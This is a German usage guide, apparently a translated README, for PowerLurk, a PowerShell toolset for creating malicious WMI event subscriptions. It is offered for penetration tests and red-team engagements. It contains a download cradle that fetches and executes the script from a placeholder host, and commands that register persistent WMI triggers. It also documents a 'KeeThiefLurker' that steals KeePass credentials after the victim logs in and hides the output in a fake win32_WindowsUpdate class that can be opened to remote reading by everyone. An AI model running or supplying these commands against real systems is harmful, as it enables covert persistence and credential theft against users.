
Bösartige WMI-Ereignisse mit PowerShell
PowerLurk ist ein PowerShell-Toolset zur Erstellung bösartiger WMI-Ereignisabonnements. Ziel ist es, das Auslösen von WMI-Ereignissen während eines Penetrationstests oder Red-Team-Einsatzes zu erleichtern. Weitere Informationen finden Sie in meinem Beitrag Creeping on Users with WMI Events: Introducing PowerLurk: https://pentestarmoury.com/2016/07/13/151/
Um PowerLurk zu verwenden, müssen Sie das Modul PowerLurk.ps1 in Ihre PowerShell-Instanz importieren. Dies kann auf verschiedene Weise geschehen:
Lokaler Import
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Download-Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
Standardmäßig fragt Get-WmiEvent WMI nach allen __FilterToConsumerBinding-Instanzen sowie den zugehörigen __EventFilter- und __EventConsumer-Instanzen ab. Zurückgegebene Objekte können durch Weiterleitung an Remove-WmiObject gelöscht werden.
Alle aktiven WMI-Ereignisobjekte mit dem Namen 'RedTeamEvent' zurückgeben
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox WMI-Ereignisobjekte 'RedTeamEvent' löschen
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
Dieses Cmdlet ist der Kern von PowerLurk. Es nimmt einen Befehl, ein Skript oder einen Skriptblock als Aktion und einen vordefinierten Trigger entgegen und erstellt dann den WMI-Filter, den Consumer und die FilterToConsumerBinding, die für ein voll funktionsfähiges permanentes WMI-Ereignisabonnement erforderlich sind. Eine Reihe von WMI-Ereignis-Triggern (Filtern) sind vorkonfiguriert. Der Trigger muss mit dem Parameter -Trigger angegeben werden. Es stehen drei Consumer zur Auswahl: PermanentCommand, PermanentScript und LocalScriptBlock. Beispielverwendung:
Schreibt die Prozess-ID von notepad.exe in C:\temp\log.txt, sobald notepad.exe gestartet wird
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand "cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt" -Trigger ProcessStart -ProcessName notepad.exe
Bereinigung des bösartigen WMI-Ereignisses
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
Erstellt ein permanentes WMI-Ereignis, das KeeThief (siehe @Harmj0y's KeeThief unter https://github.com/adaptivethreat/KeeThief) 4 Minuten nach dem Start des 'keepass'-Prozesses ausführt. Dadurch hat das Ziel Zeit, sich in seine KeePass-Datenbank einzuloggen.
Die KeeThief-Logik und ihre Ausgabe werden entweder in einem benutzerdefinierten WMI-Namespace und einer benutzerdefinierten Klasse oder in Registrierungswerten gespeichert. Wenn ein benutzerdefinierter WMI-Namespace und eine benutzerdefinierte Klasse ausgewählt werden, haben Sie die Möglichkeit, diesen Namespace so freizugeben, dass er von 'Jeder' remote gelesen werden kann. Registrierungspfad und Wertnamen können mit den zugehörigen Schaltern angepasst werden; dies ist jedoch optional, da Standardwerte festgelegt sind. Beispielverwendung:
KeeThiefLurker-Ereignis mit WMI-Klassenspeicherung hinzufügen
Add-KeeThiefLurker -EventName KeeThief -WMI
Benutzerdefinierte WMI-Klasse abfragen
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
KeeThief-Ausgabe aus WMI-Klasse extrahieren
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
KeeThiefLurker bereinigen
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x